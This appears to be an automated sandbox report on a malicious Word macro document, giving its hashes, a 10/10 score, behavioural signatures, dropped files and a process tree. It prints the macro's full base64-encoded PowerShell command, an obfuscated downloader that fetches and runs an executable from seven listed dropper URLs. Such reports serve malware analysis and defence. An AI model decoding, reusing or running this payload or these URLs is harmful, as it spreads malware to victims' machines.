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Analysis

  • max time kernel
    117s
  • max time network
    118s
  • platform
    windows7_x64
  • resource
    win7-20240215-en
  • resource tags

    arch:x64arch:x86image:win7-20240215-enlocale:en-usos:windows7-x64system
  • submitted
    28/05/2024, 18:36

General

  • Target

    7df870b532808eb5fd266938418a882d_JaffaCakes118.doc

  • Size

    158KB

  • MD5

    7df870b532808eb5fd266938418a882d

  • SHA1

    14e8d3f7791ad829abe81d75558c22e7eedacd9e

  • SHA256

    8ad7a5caa6b158c4360d923395c49afde530904dc87113346b3ac80e48eea1b7

  • SHA512

    fcfe2a7299f4e4bf97b842970c8ca631f3c3228055d38415cd7f70e2c37e7d7f1b87bef005363b811b912a80def1882d0150835fe0a4fb8e5b78f2f0aa099d29

  • SSDEEP

    1536:A2Fj72Fjmrdi1Ir77zOH98Wj2gpngh+a9plJiG3:1rfrzOH98ipgnYG3

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://case.gonukkad.com/sys-cache/CjT/

exe.dropper

https://starrcoin.net/wp-admin/YT/

exe.dropper

http://modelaw.devkind.com.au/wp-admin/cvDRmGK/

exe.dropper

http://dprkp.palembang.go.id/sys-cache/7Y4aHw/

exe.dropper

http://completeguideblogging.com/euiot/PAuJG/

exe.dropper

http://qutiche.cn/wp-admin/Q/

exe.dropper

https://shiva-engineering.com/1cj/tKemHV7/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 4 IoCs
  • Drops file in System32 directory 1 IoCs
  • Drops file in Windows directory 1 IoCs
  • Office loads VBA resources, possible macro or embedded object present
  • Modifies Internet Explorer settings 1 TTPs 31 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\7df870b532808eb5fd266938418a882d_JaffaCakes118.doc"
    1⤵
    • Drops file in Windows directory
    • Modifies Internet Explorer settings
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2312
    • C:\Windows\splwow64.exe
      C:\Windows\splwow64.exe 12288
      2⤵
        PID:2504
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e JABVADkAcABmAHcAeQBqAD0AKAAoACcAQgA2ACcAKwAnAF8AJwApACsAKAAnAG8AOABfACcAKwAnAHAAJwApACkAOwAuACgAJwBuAGUAJwArACcAdwAtAGkAdABlAG0AJwApACAAJABlAE4AVgA6AHUAUwBlAHIAUABSAG8ARgBJAEwAZQBcAEsAWABmAEUARAAxADQAXABEAFMANQA4ADMAUgBoAFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQASQByAEUAYwB0AE8AUgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGAAZQBDAHUAUgBgAGkAYABUAHkAUAByAG8AdABPAGMATwBMACIAIAA9ACAAKAAoACcAdAAnACsAJwBsAHMAMQAnACkAKwAoACcAMgAsACcAKwAnACAAdABsAHMAJwArACcAMQAxACcAKQArACgAJwAsACAAJwArACcAdAAnACkAKwAnAGwAJwArACcAcwAnACkAOwAkAFMAYQBrAGYAegBuAHoAIAA9ACAAKAAoACcAVQAnACsAJwBpADAAaQAnACkAKwAoACcANgBtACcAKwAnADYAJwApACkAOwAkAEkAbwBqAGgAMgBqAGEAPQAoACgAJwBWAF8AJwArACcAbgAzADAAdAAnACkAKwAnAHUAJwApADsAJABNAGYAagBuAHoAdQBmAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnADkAJwArACgAJwBLAGsASwB4ACcAKwAnAGYAZQBkACcAKwAnADEANAA5AEsAawBEAHMAJwApACsAJwA1ADgAJwArACgAJwAzAHIAJwArACcAaAA5AEsAJwArACcAawAnACkAKQAgAC0AcgBlAFAAbABBAGMAZQAgACgAJwA5ACcAKwAnAEsAawAnACkALABbAEMASABBAFIAXQA5ADIAKQArACQAUwBhAGsAZgB6AG4AegArACgAJwAuACcAKwAoACcAZQB4ACcAKwAnAGUAJwApACkAOwAkAEsAdwBjAGkAMgBvADkAPQAoACcAQgB0ACcAKwAoACcAZQAnACsAJwB1AHQAMABxACcAKQApADsAJABIAGoAOAA3AGwANgBiAD0ALgAoACcAbgBlACcAKwAnAHcALQAnACsAJwBvAGIAagBlAGMAdAAnACkAIABuAEUAVAAuAHcARQBCAGMATABJAEUAbgB0ADsAJABEAGkAeAB6AG8AZwBlAD0AKAAoACcAaAB0AHQAJwArACcAcAAnACkAKwAnAHMAJwArACgAJwA6AC8ALwBjACcAKwAnAGEAJwArACcAcwAnACkAKwAoACcAZQAuAGcAJwArACcAbwAnACkAKwAoACcAbgAnACsAJwB1AGsAawBhAGQALgBjACcAKQArACcAbwBtACcAKwAnAC8AJwArACcAcwAnACsAKAAnAHkAcwAnACsAJwAtAGMAYQAnACkAKwAoACcAYwBoAGUALwAnACsAJwBDACcAKQArACgAJwBqACcAKwAnAFQALwAqAGgAJwApACsAJwB0AHQAJwArACcAcAAnACsAJwBzADoAJwArACgAJwAvAC8AcwAnACsAJwB0AGEAcgAnACsAJwByAGMAbwAnACsAJwBpAG4ALgAnACsAJwBuACcAKQArACcAZQAnACsAKAAnAHQALwAnACsAJwB3AHAALQBhAGQAbQBpAG4AJwArACcALwBZACcAKwAnAFQALwAqAGgAdAAnACsAJwB0ACcAKwAnAHAAOgAvACcAKQArACgAJwAvACcAKwAnAG0AbwBkAGUAbABhAHcAJwArACcALgBkACcAKwAnAGUAdgAnACkAKwAoACcAawBpACcAKwAnAG4AZAAnACkAKwAoACcALgBjACcAKwAnAG8AbQAuACcAKQArACgAJwBhAHUAJwArACcALwB3ACcAKQArACgAJwBwAC0AJwArACcAYQBkACcAKQArACgAJwBtAGkAJwArACcAbgAnACsAJwAvAGMAJwArACcAdgBEACcAKwAnAFIAbQBHAEsALwAqACcAKwAnAGgAdAB0AHAAOgAvACcAKwAnAC8AJwArACcAZABwAHIAawBwAC4AJwArACcAcAAnACkAKwAnAGEAbAAnACsAKAAnAGUAbQBiAGEAbgAnACsAJwBnACcAKQArACcALgAnACsAJwBnACcAKwAoACcAbwAuACcAKwAnAGkAZAAvAHMAeQBzAC0AJwArACcAYwBhACcAKwAnAGMAJwApACsAKAAnAGgAZQAvADcAJwArACcAWQA0AGEAJwApACsAKAAnAEgAJwArACcAdwAvACoAaAAnACsAJwB0AHQAcAAnACkAKwAoACcAOgAnACsAJwAvAC8AYwAnACkAKwAnAG8AJwArACgAJwBtACcAKwAnAHAAbABlAHQAZQBnACcAKQArACgAJwB1ACcAKwAnAGkAZABlAGIAJwApACsAJwBsACcAKwAnAG8AZwAnACsAJwBnACcAKwAoACcAaQBuACcAKwAnAGcALgAnACsAJwBjAG8AJwApACsAKAAnAG0AJwArACcALwBlAHUAaQBvAHQAJwApACsAKAAnAC8AUABBACcAKwAnAHUASgBHACcAKQArACcALwAqACcAKwAoACcAaAB0AHQAJwArACcAcAA6AC8AJwApACsAKAAnAC8AcQAnACsAJwB1AHQAaQAnACsAJwBjAGgAZQAnACkAKwAoACcALgBjACcAKwAnAG4AJwApACsAKAAnAC8AdwBwACcAKwAnAC0AJwApACsAJwBhACcAKwAnAGQAJwArACcAbQAnACsAKAAnAGkAbgAnACsAJwAvACcAKQArACgAJwBRAC8AJwArACcAKgBoAHQAJwArACcAdABwAHMAOgAvAC8AcwAnACkAKwAoACcAaABpAHYAYQAtACcAKwAnAGUAbgAnACsAJwBnAGkAbgBlACcAKwAnAGUAcgAnACsAJwBpAG4AJwArACcAZwAuAGMAbwBtACcAKwAnAC8AMQBjACcAKwAnAGoALwB0AEsAJwArACcAZQAnACkAKwAoACcAbQBIACcAKwAnAFYAJwApACsAJwA3AC8AJwApAC4AIgBTAGAAcABMAGkAdAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAEMAeQA1AGgAcABiADQAPQAoACcAVwAxACcAKwAoACcAdgA5ACcAKwAnAHgAJwApACsAJwB5AGwAJwApADsAZgBvAHIAZQBhAGMAaAAoACQAUQByAG8AbQA2AGEAcgAgAGkAbgAgACQARABpAHgAegBvAGcAZQApAHsAdAByAHkAewAkAEgAagA4ADcAbAA2AGIALgAiAGQAYABPAFcAbgBMAG8AQQBgAEQARgBgAEkATABlACIAKAAkAFEAcgBvAG0ANgBhAHIALAAgACQATQBmAGoAbgB6AHUAZgApADsAJABSAGgANQBpAGsAeABfAD0AKAAnAE0AZQAnACsAKAAnAGUAaABmAHEAJwArACcAMQAnACkAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABNAGYAagBuAHoAdQBmACkALgAiAGwARQBgAE4AYABnAHQAaAAiACAALQBnAGUAIAAzADYAOQAzADEAKQAgAHsAJgAoACcASQBuAHYAbwBrACcAKwAnAGUAJwArACcALQBJAHQAJwArACcAZQBtACcAKQAoACQATQBmAGoAbgB6AHUAZgApADsAJABYAHoAawB6AG0AbQBuAD0AKAAoACcARwAnACsAJwBuAGEANQAnACkAKwAnAF8AJwArACcAcwBwACcAKQA7AGIAcgBlAGEAawA7ACQAVwA3AGwAZgBoAGcAcQA9ACgAKAAnAFcAMgBrACcAKwAnADgAdwB5ACcAKQArACcAcAAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAFMAcAAxAF8AYQB1AG0APQAoACcATQAnACsAKAAnAHEAYgBqAF8AJwArACcAZQByACcAKQApAA==
      1⤵
      • Process spawned unexpected child process
      • Blocklisted process makes network request
      • Drops file in System32 directory
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2684

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

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    Downloads

    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

      Filesize

      68KB

      MD5

      29f65ba8e88c063813cc50a4ea544e93

      SHA1

      05a7040d5c127e68c25d81cc51271ffb8bef3568

      SHA256

      1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

      SHA512

      e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

    • C:\Users\Admin\AppData\Local\Temp\Tar413C.tmp

      Filesize

      177KB

      MD5

      435a9ac180383f9fa094131b173a2f7b

      SHA1

      76944ea657a9db94f9a4bef38f88c46ed4166983

      SHA256

      67dc37ed50b8e63272b49a254a6039ee225974f1d767bb83eb1fd80e759a7c34

      SHA512

      1a6b277611959720a9c71114957620517ad94541302f164eb872bd322292a952409bafb8bc2ac793b16ad5f25d83f8594ccff2b7834e3c2b2b941e6fc84c009a

    • C:\Users\Admin\AppData\Roaming\Microsoft\Templates\Normal.dotm

      Filesize

      20KB

      MD5

      cac5083cd097ab924a123dc7984df043

      SHA1

      349088669eb390718e4bfb6c23c0e1de16662f01

      SHA256

      e1ad6c3709209aedc78f954dd2c9b773726bed6a93d7faf5892d1d6e96a90a6c

      SHA512

      3c53cae0cb8596fe34791d8197faaaaea5b15b5e645c246a45ff0594e719a361239a9cf63f2713d3a320bb0d6acc41eb2046480ea0136f4effc14026b472ab50

    • memory/2312-8-0x00000000007C0000-0x00000000008C0000-memory.dmp

      Filesize

      1024KB

    • memory/2312-86-0x00000000007C0000-0x00000000008C0000-memory.dmp

      Filesize

      1024KB

    • memory/2312-0-0x000000002F061000-0x000000002F062000-memory.dmp

      Filesize

      4KB

    • memory/2312-22-0x00000000059D0000-0x0000000005AD0000-memory.dmp

      Filesize

      1024KB

    • memory/2312-21-0x00000000059D0000-0x0000000005AD0000-memory.dmp

      Filesize

      1024KB

    • memory/2312-31-0x00000000059D0000-0x0000000005AD0000-memory.dmp

      Filesize

      1024KB

    • memory/2312-32-0x00000000059D0000-0x0000000005AD0000-memory.dmp

      Filesize

      1024KB

    • memory/2312-33-0x00000000059D0000-0x0000000005AD0000-memory.dmp

      Filesize

      1024KB

    • memory/2312-105-0x000000007137D000-0x0000000071388000-memory.dmp

      Filesize

      44KB

    • memory/2312-104-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2312-45-0x000000007137D000-0x0000000071388000-memory.dmp

      Filesize

      44KB

    • memory/2312-6-0x00000000007C0000-0x00000000008C0000-memory.dmp

      Filesize

      1024KB

    • memory/2312-2-0x000000007137D000-0x0000000071388000-memory.dmp

      Filesize

      44KB

    • memory/2312-7-0x00000000007C0000-0x00000000008C0000-memory.dmp

      Filesize

      1024KB

    • memory/2312-87-0x0000000005BD0000-0x0000000005CD0000-memory.dmp

      Filesize

      1024KB

    • memory/2312-88-0x00000000059D0000-0x0000000005AD0000-memory.dmp

      Filesize

      1024KB

    • memory/2312-1-0x000000005FFF0000-0x0000000060000000-memory.dmp

      Filesize

      64KB

    • memory/2684-40-0x0000000001DF0000-0x0000000001DF8000-memory.dmp

      Filesize

      32KB

    • memory/2684-39-0x000000001B6E0000-0x000000001B9C2000-memory.dmp

      Filesize

      2.9MB